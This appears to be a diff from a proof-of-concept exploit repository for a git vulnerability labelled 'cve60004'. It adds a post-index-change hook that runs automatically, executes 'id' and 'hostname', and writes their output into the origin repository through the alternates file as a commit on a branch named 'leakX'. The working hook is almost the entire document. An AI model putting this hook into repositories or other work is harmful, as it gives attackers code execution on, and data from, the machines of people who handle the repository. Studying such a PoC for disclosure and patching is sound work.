m

trigger

hooks/post-index-change

@@ -1,3 +1,14 @@
 #!/bin/sh
-id > /tmp/cve60004_pic.txt 2>&1
-echo post-index-change-ran >> /tmp/cve60004_pic.txt
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+ /*) ;;
+ *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+output_blob=$({ /bin/sh -c 'id; hostname'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
+tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
+commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
+git --git-dir="$origin_git" update-ref refs/heads/leakX "$commit" || exit 7
+exit 0

touch2.txt

@@ -0,0 +1 @@
+hello2